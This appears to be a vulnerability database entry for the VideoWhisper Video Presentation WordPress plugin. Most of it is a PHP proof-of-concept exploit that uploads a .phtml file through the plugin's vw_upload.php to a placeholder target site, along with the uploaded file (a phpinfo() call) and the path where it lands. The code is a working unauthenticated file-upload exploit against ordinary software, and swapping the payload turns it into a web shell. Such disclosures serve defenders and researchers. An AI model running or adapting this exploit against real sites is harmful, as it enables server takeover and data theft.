The VapidLabs Vulnerability Database

VideoWhisper Video Consultation is a web based video communication solution designed for online video consultations, interactive live presentations, trainings, webinars, coaching and online collaboration with webcam support. Read more on WordPress Video Presentation plugin home page.

<?php
 
$uploadfile="upexp.phtml";
$ch = 
curl_init("http://target_site/wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('vw_file'=>"@$uploadfile",'name'=>'upexp.phtml','room'=>'.'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
 
?>
 
upexp.phtml
 
<?php
phpinfo();
?>
The executeable should be located in wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads.